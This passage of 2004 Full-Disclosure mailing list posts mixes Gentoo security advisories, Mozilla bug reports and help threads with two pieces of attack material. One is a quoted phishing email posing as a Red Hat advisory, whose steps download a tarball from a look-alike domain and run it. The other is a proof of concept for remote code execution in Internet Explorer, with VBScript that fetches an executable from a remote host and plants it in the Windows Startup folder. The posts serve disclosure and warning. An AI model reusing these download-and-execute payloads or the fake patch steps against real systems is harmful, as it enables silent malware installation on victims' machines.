> >different format and such were among the other reasong to suspect it.
> >
> >Message was send from 'University of Texas at Arlington'.
> >
> >I am sure none of you should be fooled by such a message but other might
> >be.
> >
> >And while it lasts you may want to get the file for your own educational
> >purposes.
> >
> >Hugo.
> >- ---------- Forwarded message ----------
> >Date: Sun, 24 Oct 2004 17:22:20 -0500
> >From: RedHat Security Team <security
redhat.com>
> >To: *****************
> >Subject: RedHat: Buffer Overflow in "ls" and "mkdir"
> >
> >
> >[logo_rh_home.png]
> >
> >Original issue date: October 20, 2004
> >Last revised: October 20, 2004
> >Source: RedHat
> >
> >A complete revision history is at the end of this file.
> >
> >Dear RedHat user,
> >
> >Redhat found a vulnerability in fileutils (ls and mkdir), that could
> >allow a remote attacker to execute arbitrary code with root privileges.
> >Some of the affected linux distributions include RedHat 7.2, RedHat 7.3,
> >RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is
> >known that *BSD and Solaris platforms are NOT affected.
> >
> >The RedHat Security Team strongly advises you to immediately apply the
> >fileutils-1.0.6 patch. This is a critical-critical update that you must
> >make by following these steps:
> >
> > * First download the patch from the Security RedHat mirror: wget
> > www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
> > * Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
> > * cd fileutils-1.0.6.patch
> > * make
> > * ./inst
> >
> >Again, please apply this patch as soon as possible or you risk your
> >system and others` to be compromised.
> >
> >Thank you for your prompt attention to this serious matter,
> >
> >RedHat Security Team.
> >
> >Copyright (C) 2004 Red Hat, Inc. All rights reserved.
> >
> >
> >-----BEGIN PGP SIGNATURE-----
> >Version: GnuPG v1.2.3 (GNU/Linux)
> >
> >iQCVAwUBQXwzy6YKnAPlJw4JAQEdiQP/Q9joitf0xM69z6AvkMA0gjumokNccKB7
> >OQk+wDNpPYz881/BuycJ15Oory1+zIFiFyVJr7S0CYcQsZLFkeAQaGGNFj6PpHQo
> >H6u5QdRLoK1qWLethUSa73edjEYCwpTtVlFnCuPYRVqMtFKSooLXMSS/2SV9H8pL
> >fcdKycT5D9E=
> >=/nEk
> >-----END PGP SIGNATURE-----
> >
> >_______________________________________________
> >Full-Disclosure - We believe in it.
> >Charter: http://lists.netsys.com/full-disclosure-charter.html
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
--
Vincent ARCHER
varcher
denyall.com
Tel : +33 (0)1 40 07 47 14
Fax : +33 (0)1 40 07 47 27
Deny All - 5, rue Scribe - 75009 Paris - France
www.denyall.com
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Re: [Full-Disclosure] Help, possible rootkit
From: Harry de Grote (rik.bobbaers
cc.kuleuven.ac.be)
Date: Mon Oct 25 2004 - 03:58:33 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Op Sunday 24 October 2004 15:59, Ali Campbell sgreifde:
> BillyBob wrote:
> > Any more suggestions ?
>
> I have seen something similar to this behaviour caused by a flaky power
> connector in a Si3112 mirrored RAID array.
or it's highly possible that your windows is just unstable :)
(which is true in most cases)
--
harry
aka Rik Bobbaers
K.U.Leuven - LUDIT -=- Tel: +32 485 52 71 50
Rik.Bobbaers
cc.kuleuven.ac.be -=- http://harry.ulyssis.org
"\x41\x20\x63\x6f\x6d\x70\x75\x74\x65\x72\x20\x77\x69\x74\x68\x6f\x75\x74\x20"
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x69\x73\x20\x6c\x69\x6b\x65\x20\x61\x20\x66"
"\x69\x73\x68\x20\x77\x69\x74\x68\x6f\x75\x74\x20\x61\x20\x62\x69\x63\x79\x63"
"\x6c\x65\x0a\x00"
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RE: [Full-Disclosure] Help, possible rootkit
From: Alan Melia (Melmac) (alanme
melmac.co.uk)
Date: Mon Oct 25 2004 - 04:59:04 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Sorry but something MUST show up. Enable 'Context Switch Delta' and I/O
stuff. Then inspect the process/thread with the highest Context Switch.
The most probable cause if it shows up against system is some faulty
hardware generating high hardware interrupts. You do not have any evidence
that a rootkit is involved. IMHO never overlook the obvious.
Alan
-----Original Message-----
From: full-disclosure-admin
lists.netsys.com
[mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of BillyBob
Sent: 23 October 2004 21:30
To: Alan Melia (Melmac); 'Full Disclosure'
Subject: Re: [Full-Disclosure] Help, possible rootkit
I have ran Process Explorer, Code Stuff Starter but nothing shows up in the
list as using this 25-30% of my CYP. I also updated and ran PestPatrol,
NortonAV, etc but nothing is detected which is why I think I have a rootkit
that has patched the kernel and therefore not allowing any of these programs
to detect it.
Anything else ?
----- Original Message -----
From: "Alan Melia (Melmac)" <alanme
melmac.co.uk>
To: "'BillyBob'" <billybobknob
hotmail.com>; "'Full Disclosure'"
<full-disclosure
lists.netsys.com>
Sent: Saturday, October 23, 2004 4:47 PM
Subject: RE: [Full-Disclosure] Help, possible rootkit
> First check to see what processes are running. TaskList is built in
> but I would recommend.
> http://www.sysinternals.com/ntw2k/freeware/procexp.shtml
>
> Get to know your machine and what processes are running normally.
> With 25-30% CPU it should stick out like a sore thumb.
>
> Oh yeah don't run as admin (see )http://blogs.msdn.com/aaron_margosis.
>
> Alan
>
>
> -----Original Message-----
> From: full-disclosure-admin
lists.netsys.com
> [mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of BillyBob
> Sent: 23 October 2004 17:05
> To: Full Disclosure
> Subject: [Full-Disclosure] Help, possible rootkit
>
> I have noticed that my XP system is behaving like I have a rootkit.
>
> - My mouse is jumpy (it freezes for a second when I move it around the
> desktop) and the minimized Taskmanager in the systray shows I have
> around
> 25 - 30 % usage, but when I open it, there is no process listed using
> this much.
> - I did a netstat, fport, openports and none of these show that I have
> any odd ports open or any connections established.
> - even when I disconnect from the Internet these symptoms do not stop.
They
> stop if I reboot, but then start again.
>
> I have ran VICE, Klister, PatchFinder and RkDetect from rootkit.com
> and
they
> could not find anything.
>
> Any more suggestions ?
> Any more rootkit finding tools for Windows ?
>
> Thanks
> Bill
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
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[Full-Disclosure] FAKE: RedHat: Buffer Overflow in "ls" and "mkdir"
From: Feher Tamas (etomcat
freemail.hu)
Date: Mon Oct 25 2004 - 05:18:24 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Hello,
Read these:
http://www.redhat.com/security/
http://www.f-secure.com/weblog/#00000323
>The message below is currently going around on internet.
>Being unsinged was the fist obvious issue.
Do you really expect a singing security alert from RedHat? I
think the all singing, all dancing security bulletins are a
M$ specialty.
Regards: Tamas Feher.
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Re: [Full-Disclosure] Mozilla Thunderbird 0.8 / Firefox 0.9.3 temporary files (local)
From: Daniel Veditz (dveditz
cruzio.com)
Date: Mon Oct 25 2004 - 06:08:53 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
This was fixed Friday (bug 251297) and the fix will be in next versions of
Mozilla products.
It looks like the bug was introduced last March which would make Mozilla 1.7
and Firefox 0.9 and later vulnerable, Mozilla 1.6 and Firefox 0.8 and
earlier OK. Thunderbird has been vulnerable from version 0.6 on.
-Dan Veditz
Martin wrote:
>
> Mozilla Thunderbird 0.8 / Firefox 0.9.3 temporary files (local)
>
> Martin (broadcast
ptraced.net)
>
> -------------------
> Program Description
> -------------------
>
> "Thunderbird, our latest email program, includes intelligent spam
> filters, spell-checking, security, customization, and newsgroups
> support."
>
> www.mozilla.org
>
> -------------------
> Problem Description
> -------------------
>
> When opening an attachment, or a link included in an email, Thunderbird
> prompts the user with a dialog box, giving the choice to "Save to Disk"
> or to "Open with" <default program>.
>
> For example, we receive a PDF document attached, and on the Attachments
> section, we choose "Open".
>
> broadcast:/tmp$ ls -l *.pdf
> -rw------- 1 broadcast broadcast 2002560 2004-10-24 18:38 wskbq43m.pdf
>
> While the dialog box is still open, the file permissions are OK, and the
> filename is random (except for the extension).
> If we choose to save it to disk, and check /tmp again:
>
> broadcast:/tmp$ ls -l *.pdf
> ls: *.pdf: No such file or directory
>
> Great, it's gone. Now let's choose to open it with the default viewer
> (in my case, xpdf).
> Again, while the dialog box is open, there are no apparent problems.
>
> broadcast:/tmp$ ls -l *.pdf
> -rw------- 1 broadcast broadcast 2002560 2004-10-24 18:42 hp1h30si.pd
>
> But after choosing to open it with xpdf:
>
> broadcast:/tmp$ ls -l *.pdf
> -rw-r--r-- 1 broadcast broadcast 2002560 2004-10-24 18:42 programming.pdf
>
> The file becomes world readable, until the user closes xpdf, or whatever
> application he chose to read the attachment.
> Also, the filename becomes predictable, but if the filename already
> exists on /tmp, Thunderbird will choose a similar filename, and won't
> work on the existing one.
>
> This exact issue affects Mozilla Firefox 0.9.3. I haven't tested
> older/newer versions, and all of this was tested under Debian Unstable.
>
> A copy of this advisory and future updates on this issue may be found on:
> http://broadcast.ptraced.net/advisories/008-firefox.thunderbird.txt
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[Full-Disclosure] re: How to Break Windows XP SP2 + Internet Explorer 6 SP2
From: Michael Evanchik (Mike
MichaelEvanchik.com)
Date: Sun Oct 24 2004 - 22:35:42 CDT
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I have created a PoC for this http://www.michaelevanchik.com/kara/scrolll/notagain.txt
and for those of you scared to click links these days , here is the contents
Microsoft Internet Explorer ms-its scheme/CHM remote code execution
Oct, 24 2004
Vulnerable
----------
- Microsoft Internet Explorer 6.0 (lower was not tested)
- Microsoft Windows XP Pro
- Microsoft Windows XP Home
- Microsoft Windows 2003 Server Enterprise
not tested if vulnerable
------------------------
- Microsoft Windows 98
- Microsoft Internet Explorer 5.x
Not Vulnerable
--------------
- Microsoft Windows 2000
- Microsoft Windows 2000 Server
Severity
---------
Critical - Remote code execution, little user intervention
In English
----------
You can run executable code with a series of html codes on a XP system. Its getting harder and harder these days so be ready for a long confusing paper. I am posting this proof of concept because as most of us know Microsoft will dismiss the last advisory (from http-equiv) and not provide us with patches for months and maybe years.
Tech Stuff and Explanation
--------------------------
http://www.michaelevanchik.com/kara/scrolll/files.zip <-- download all files here
1. Create a image file with the following source code that http-equiv gave us into a comment section on a image file. I used Photoshop in the file menu > file info > comment field. From there I saved the file as a jpeg file and then renamed it to malwarez6.mcb
Here is the code http-equiv gave us, i just changed it around to inject the hta file into start up instead.
<script language="vbs">
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://arite.zapto.org;" & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\real scheduler.hta", adPersistXML
rs.close
conn.close
</script>
There is one thing you need to know about this code. Oddly "select * from foobar.txt" not only runs a GET command for "foobar.txt" on the web server, it also logs in anonymous to a FTP server on the same host. If your server does not allow both, the vulnerability will not work.
2. foobar.txt was the most difficult part of for me. From the information http-equiv gave us, it seems this vulnerability could have been dismissed since you could not fit enough scriptable code into the hta file without the script compiler erroring due to binary asci code messing up the vbscript. What I uncovered was this text file needed to be in a comma delimited format. Not only that each side of each line of code needed to be padded with a dummy variable to keep the code "alive" so it would not error. Notice the variable "crap" and the first and last lines where also dummies which the code would not have worked without. HTA files are still a BIG whole for microsoft. All the patching they have done to exploits, and the creation of xp service pack 2 was gods sent, but yet HTA files do not apply to ANY of these new features. So I ended up putting an old and easy exe running exploit inside this hta file.
foobar.txt
-----------------------------------------
"meaning less shit i had to put here"
"<script language=vbscript> crap = """
""": on error resume next: crap = """
""" : set o = CreateObject(""msxml2.XMLHTTP"") : crap="""
""" : o.open ""GET"",""http://hometown.aol.com/mcbain/calc.exe"",False : crap="""
""" : o.send : crap="""
""" : set s = createobject(""adodb.stream"") : crap="""
""" : s.type=1 : crap="""
""" : s.open : crap="""
""" : s.write o.responseBody : crap="""
""" : s.savetofile ""C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RealAudio.exe"",2 : crap="""
"""</script> crap="""
--------------end foobar.txt--------------------
3. In index.html notice the following key code:
<img id="dyn" src="malwarez6.mcb" border="0">
According to http-equiv's (malware.com) post he was using a file with no extension. This did not work for me on IIS server so I used an extension that was not used (.mcb). From there in IIS management console I added this mime type manually (.mcb text/html) entry. This image now gets by microsoft's patch of not allowing executable content to be "draggable". Microsoft seems to check ( no matter what extension of the file u use, or content type your http server sends) the file internally to see if it is not an executable file.
4. create a file cigar.hhk. The code in this file is self explanatory
5. create frame.html. Most somewhat self explanatory, though note the following code..
<OBJECT style="height:650" style="width:250"id="hhctrl" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"codebase="hhctrl.ocx#Version=5,2,3790,1194"width=7% height=7% style="position:absolute;top:140;left:72;z-index:100;">
<PARAM name="Command" value="Index">
<PARAM name="Item1" value="cigar.hhk">click me
</OBJECT>
I could not get this object auto clicked with hhctrl.click() unfortunately, for now this is the only user intervention part. But when a user click this object, it runs the html file in local zone, bypassing XP Service pack 2 for the second time in this exploit.
6. Upload hhtctrl.ocx for the computers that don't happen to have this control. All XP's seem to have this by default, some win2k3's do not
Proof of Concept?
----------------
- http://www.michaelevanchik.com/kara/scrolll/index.html
- scroll down on this webpage and click the display button as directed.
- you will then notice a hta file in your start > programs > start up > real sceduler.hta
- from here when that is run you will get Real Audio.exe, alternatively the hta file is basically remote execution at that point anyway.
Vendor Recommendations
---------------------
- Microsoft needs to apply XP Service Pack 2's local zone exploit lockdown to .HTA files as well
- Microsoft should disable adodb.recordsets .save method for writing to hard drives.
- As always Microsoft should pay BETTER people to test their software instead of rewards for
virus writers
- Microsoft should not dismiss any vulnerabilities as "not a vulnerability itself" problems
since if combined with other "not a vulnerability itself" bugs lead to THE PROBLEM
Temp Fix
-------------
- Disable hta files.
- Disable scripting in Internet Explorer
- Do not use Internet Explorer, use Mozilla Firebird (now known as FireFox www.mozilla.org)
Credit
------
Http equiv - without him, i wouldn't have a clue
mikx - http://www.mikx.de/scrollbar/ for his genius killer scrollbars!
Greets
------
- slacker my other brain
- illwill at illmob.org
- abe,rain and dolan
Contact
-------
Mike
MichaelEvanchik.com
http://www.MichaelEvanchik.com - me
http://Software.High-Pow-er.com - Need a professional programmer?
http://www.High-Pow-er.com - Other, Security, Consulting
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Charter: http://lists.netsys.com/full-disclosure-charter.html
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RE: [Full-Disclosure] RE: Full-Disclosure digest
From: Todd Towles (toddtowles
brookshires.com)
Date: Mon Oct 25 2004 - 07:58:57 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Maybe because they are e-mail borne and if you haven't noticed, you post
on here via e-mail? This list is open, therefore as long as people don't
fix their computers, you will get viruses. Welcome to FD =)
> -----Original Message-----
> From: full-disclosure-admin
lists.netsys.com
> [mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of
> digitalchaos
> Sent: Friday, September 03, 2004 4:27 AM
> To: full-disclosure
lists.netsys.com
> Subject: [Full-Disclosure] RE: Full-Disclosure digest
>
> Why are there virus being transmitted through this newsgroup??
>
> OUTPUT FROM MCAFEE:
> ****************** McAfee VirusScan ************************
> ******* Alert generated at: Thu, 02 Sep 2004 13:15:00 -0500 *********
> *********************************************************************
>
> McAfee VirusScan has detected a potential threat in this
> e-mail sent by full-disclosure-request
lists.netsys.com.
> The following actions were attempted on each suspicious part.
> We strongly recommend that you report this virus-related
> activity to full-disclosure-request
lists.netsys.com.
>
>
> The attachment "E-mail body" is infected with the
> W32/Bagle.aa
MM Virus(es).
> This attachment has been quarantined.
>
>
> This is not the only message I have received like this
>
> Some were infected by NETSKY, various zip/pif virus, and such.
>
>
>
> -----Original Message-----
> From: full-disclosure-admin
lists.netsys.com
> [mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of
> full-disclosure-request
lists.netsys.com
> Sent: Friday, October 22, 2004 9:24 AM
> To: full-disclosure
lists.netsys.com
> Subject: Full-Disclosure digest, Vol 1 #1996 - 8 msgs
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
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Charter: http://lists.netsys.com/full-disclosure-charter.html
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[Full-Disclosure] [ GLSA 200410-24 ] MIT krb5: Insecure temporary file use in send-pr.sh
From: Thierry Carrez (koon
gentoo.org)
Date: Mon Oct 25 2004 - 08:09:14 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200410-24
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: Normal
Title: MIT krb5: Insecure temporary file use in send-pr.sh
Date: October 25, 2004
Bugs: #66359
ID: 200410-24
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
The send-pr.sh script, included in the mit-krb5 package, is vulnerable
to symlink attacks, potentially allowing a local user to overwrite
arbitrary files with the rights of the user running the utility.
Background
==========
MIT krb5 is the free implementation of the Kerberos network
authentication protocol written by the Massachusetts Institute of
Technology.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 app-crypt/mit-krb5 <= 1.3.5 >= 1.3.5-r1
*>= 1.3.4-r1
Description
===========
The send-pr.sh script creates temporary files in world-writeable
directories with predictable names.
Impact
======
A local attacker could create symbolic links in the temporary files
directory, pointing to a valid file somewhere on the filesystem. When
send-pr.sh is called, this would result in the file being overwritten
with the rights of the user running the utility, which could be the
root user.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All MIT krb5 users should upgrade to the latest version:
# emerge sync
# emerge -pv ">=app-crypt/mit-krb5-1.3.4-r1"
# emerge ">=app-crypt/mit-krb5-1.3.4-r1"
References
==========
[ 1 ] CAN-2004-0971
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0971
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-200410-24.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security
gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.
License
=======
Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/1.0
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- application/pgp-signature attachment: OpenPGP digital signature
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Re: [Full-Disclosure] RE: Full-Disclosure digest
From: steve menard (smenard
nbnet.nb.ca)
Date: Mon Oct 25 2004 - 09:05:53 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Todd Towles wrote:
>Maybe because they are e-mail borne and if you haven't noticed, you post
>on here via e-mail? This list is open, therefore as long as people don't
>fix their computers, you will get viruses. Welcome to FD =)
>
>
>
>>-----Original Message-----
>>From: full-disclosure-admin
lists.netsys.com
>>[mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of
>>digitalchaos
>>Sent: Friday, September 03, 2004 4:27 AM
>>To: full-disclosure
lists.netsys.com
>>Subject: [Full-Disclosure] RE: Full-Disclosure digest
>>
>>Why are there virus being transmitted through this newsgroup??
>>
>>OUTPUT FROM MCAFEE:
>>****************** McAfee VirusScan ************************
>>******* Alert generated at: Thu, 02 Sep 2004 13:15:00 -0500 *********
>>*********************************************************************
>>
>>
>>
Since I don't get the digest and rarely see the viruses. . . . .
unless your ISP filters; remember you should implement security in
layers, possibly consider it the first line of defense [each should have
protection as well.] these virii will get through. (my ISP does
[they are using brightstor; -not a testimonial-; based on the few
ripped-apart messages that do get through] it can be really tough to
get some example code through sometimes_not_ And I have told the only
prefs available to me & through help desk not to scan my mail ; but it
does... dang corporate policy for major Canadian telephone company;....
Imagine now; they still want me to pay an additional $5.00 /month to get
me a desktop client, but I don't get the viruses because they already
filter ;-p )
Likewise I know I cannot trust this account for receiving any files
because they are intercepted
each and everyone ; some still get through ; user [admin or not] beware
;-0
steve
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Re: [Full-Disclosure] Q: Linux Command Line Encryption
From: Denis Dimick (denis
dimick.net)
Date: Mon Oct 25 2004 - 10:33:41 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Use GPG and keychain to store the key.
On Sun, 24 Oct 2004, Bruno Wolff III wrote:
> On Fri, Oct 22, 2004 at 17:48:26 +0000,
> Ali Campbell <fdisclosure
alicampbell.org.uk> wrote:
> >
> > I need a Linux utility which I can use to encrypt a single gzipped file
> > via the command line. Obviously something open source would be
> > preferable. I'm not really interested in setting up a whole suite of
> > stuff with keyfiles and so on, and I don't need a public/private key
> > setup, just something quick and dirty with a single secret key for
> > encryption and decryption which is nevertheless reasonably strong.
>
> If you are only automating encryption and not decryption and not signing
> for integrity, you should probably reconsider using public keys since
> that way you don't have to make a password available to your script.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
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[Full-Disclosure] [ GLSA 200410-25 ] Netatalk: Insecure tempfile handling in etc2ps.sh
From: Luke Macken (lewk
gentoo.org)
Date: Mon Oct 25 2004 - 11:06:19 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
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Gentoo Linux Security Advisory GLSA 200410-25
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: Normal
Title: Netatalk: Insecure tempfile handling in etc2ps.sh
Date: October 25, 2004
Bugs: #66370
ID: 200410-25
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
The etc2ps.sh script, included in the Netatalk package, is vulnerable
to symlink attacks, potentially allowing a local user to overwrite
arbitrary files with the rights of the user running the utility.
Background
==========
Netatalk is a kernel level implementation of the AppleTalk Protocol
Suite, which allows Unix hosts to act as file, print, and time servers
for Apple computers. It includes several script utilities, including
etc2ps.sh.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-fs/netatalk < 1.6.4-r1 >= 1.6.4-r1
Description
===========
The etc2ps.sh script creates temporary files in world-writeable
directories with predictable names.
Impact
======
A local attacker could create symbolic links in the temporary files
directory, pointing to a valid file somewhere on the filesystem. When
etc2ps.sh is executed, this would result in the file being overwritten
with the rights of the user running the utility, which could be the
root user.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All Netatalk users should upgrade to the latest version:
# emerge sync
# emerge -pv ">=net-fs/netatalk-1.6.4-r1"
# emerge ">=net-fs/netatalk-1.6.4-r1"
References
==========
[ 1 ] CAN-2004-0974
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0974
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-200410-25.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security
gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.
License
=======
Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/1.0
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
iD8DBQBBfSR6Rsm3eDkOu7kRAo0QAJ4rIKpgy4yPW+GrKEQdsmHjUV4STACgjxuD
80kGW7+ZZfujlES+lB90EfU=
=hWRS
-----END PGP SIGNATURE-----
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[Full-Disclosure] Rendering binary file as HTML makes Mozilla Firefox stop responding or crash
From: Peter Kruse (kruse
krusesecurity.dk)
Date: Mon Oct 25 2004 - 11:30:37 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
CSIS Security Advisory [CSIS2004-5):
Rendering binary file as HTML makes Mozilla Firefox stop responding or crash
Date Published: 10.25.2004
Summary
Mozilla Firefox, Web-browser built for 2004, advanced e-mail and newsgroup
client, IRC chat client, and HTML editing made simple. The Mozilla Firefox
shippes with several bugs, making it possible to crash the browser, eat up
virtual memory, simply by hosting a binary renamed as html, on a remote
website.
Vulnerability Class
The browser should remain responsive while displaying large files. Instead
it crashes and hangs and feeds on virtual memory which could cause the
operating system to become unstable.
Details
Internet Explorer, and other browsers, verifies the content of filetypes
before opening in the browser. Based on the content of the file, it decides
what application should be used to open/view the content of the file. This
is, by design, not the case with Mozilla based browsers. A malicious website
can host a large chunck of data, spoofed as a html file that Mozilla will
display within the browser window. Thereby effectively causing a crash on
systems visiting the website.
You can choose any file from your harddisk larger than 5MB, rename it as a
html file, upload it to a remote website, or simply open it directly from
your local harddrive. The result is the same: Mozilla will stop responding,
showing a lot of binary garbage (clearly understandable), before the user is
forced to either end the application or reboot the system.
In several test scenarios the system force feed all virtual memory causing
the system to become unstable. However, this all depends on the size of the
file viewed by the browser. To avoid the user from being suspicious while
the file loads and garbage is showed in the browser window you can format
the website in such a way, that binary code won't show. This way the browser
will show a blank page until it crashes and the system becomes unstable.
When viewed, the browser will load the binary without the users knowledge.
The fact that this bug can be trigged by sending the same file with 1024
ASCII characters pre-pended makes exploitation trivial.
Impact
Low-Medium: This is a remote DoS in Mozilla Firefox. There are several other
ways to crash the browser.
This behavior was confirmed with Mozilla/5.0 (Windows; U; Windows NT 5.1;
rv:1.7.3) Gecko/20040913 Firefox/0.10, but my guess is that all versions of
Mozilla introduce the problem.
Solution
Awaiting fix
Affected Products
Mozilla/5.0 Gecko/20040913 Firefox/0.10 and prior
----
Med venlig hilsen // Kind regards
Peter Kruse,
Security- and virusanalyst,
CSIS, Combined Services & Integrated Solutions
http://www.csis.dk
PGP fingerprint
79FD 0648 158E 6B9E 236F CFDA 7C58 64D6 BE83 FA60
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[Full-Disclosure] [ GLSA 200410-26 ] socat: Format string vulnerability
From: Luke Macken (lewk
gentoo.org)
Date: Mon Oct 25 2004 - 11:10:05 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200410-26
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: Normal
Title: socat: Format string vulnerability
Date: October 25, 2004
Bugs: #68547
ID: 200410-26
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
socat contains a format string vulnerability that can potentially lead
to remote or local execution of arbitrary code with the privileges of
the socat process.
Background
==========
socat is a multipurpose bidirectional relay, similar to netcat.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/socat < 1.4.0.3 >= 1.4.0.3
Description
===========
socat contains a syslog() based format string vulnerablility in the
'_msg()' function of 'error.c'. Exploitation of this bug is only
possible when socat is run with the '-ly' option, causing it to log
messages to syslog.
Impact
======
Remote exploitation is possible when socat is used as a HTTP proxy
client and connects to a malicious server. Local privilege escalation
can be achieved when socat listens on a UNIX domain socket. Potential
execution of arbitrary code with the privileges of the socat process is
possible with both local and remote exploitations.
Workaround
==========
Disable logging to syslog by not using the '-ly' option when starting
socat.
Resolution
==========
All socat users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/socat-1.4.0.3"
References
==========
[ 1 ] socat Security Advisory
http://www.dest-unreach.org/socat/advisory/socat-adv-1.html
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-200410-26.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security
gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.
License
=======
Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/1.0
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[Full-Disclosure] Re: [lists] python does mangleme (with IE bugs!)
From: Elliott Bäck (ecb29
cornell.edu)
Date: Mon Oct 25 2004 - 11:43:53 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
The URL you give for the crash_IE files simply refresh until they get to
http://felinemenace.org/~nd/crash_ie/2447.html and show a 404 error...
Thanks,
Elliott C. Bäck
607-229-0623
119 Blair St. #2
------------------------------------------
www.spreadIE.com
www.elliottback.com
ned wrote:
>i've made a port of mangleme:
>http://felinemenace.org/~nd/htmler.py
>with a few extra quirks (such as file extentions/url types)
>
>it finds IE bugs after roughly 2.5 -> 3 hours and they are at:
>http://felinemenace.org/~nd/crash_ie/
>
>They are not the null pointer dereference that Michal found (which
>curiously seems to not own my 6.0.2800.1106.xpsp1?) but some other
>probably non-exploitable problems!
>
>htmler.py doesn't use CGI like mangleme but generates webpages in the
>directory 'html1' numbered 0.html to n.html. 0.html then uses a refresh to
>load 1.html and so on with little user interaction required!
>
>anyway, if you find bugs with it, don't sell to anyone/notify vendors!
>- nd
>
>
>
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Re: [Full-Disclosure] Q: Linux Command Line Encryption
From: Mike Hoye (mhoye
neon.polkaroo.net)
Date: Mon Oct 25 2004 - 13:41:10 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Mon, Oct 25, 2004 at 08:33:41AM -0700, Denis Dimick wrote:
> Use GPG and keychain to store the key.
